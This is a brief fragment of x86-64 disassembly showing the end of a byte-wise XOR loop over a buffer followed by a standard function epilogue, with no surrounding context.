shl r8, 0x20
shr r10, 0x20
or r10, r8
movzx eax, r10b
xor al, byte [r11 + rdx - 2]
mov byte [r11 - 2], al
sub rsi, 1
jne 0x18000c7b0
mov byte [rbx + 0x46], sil
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret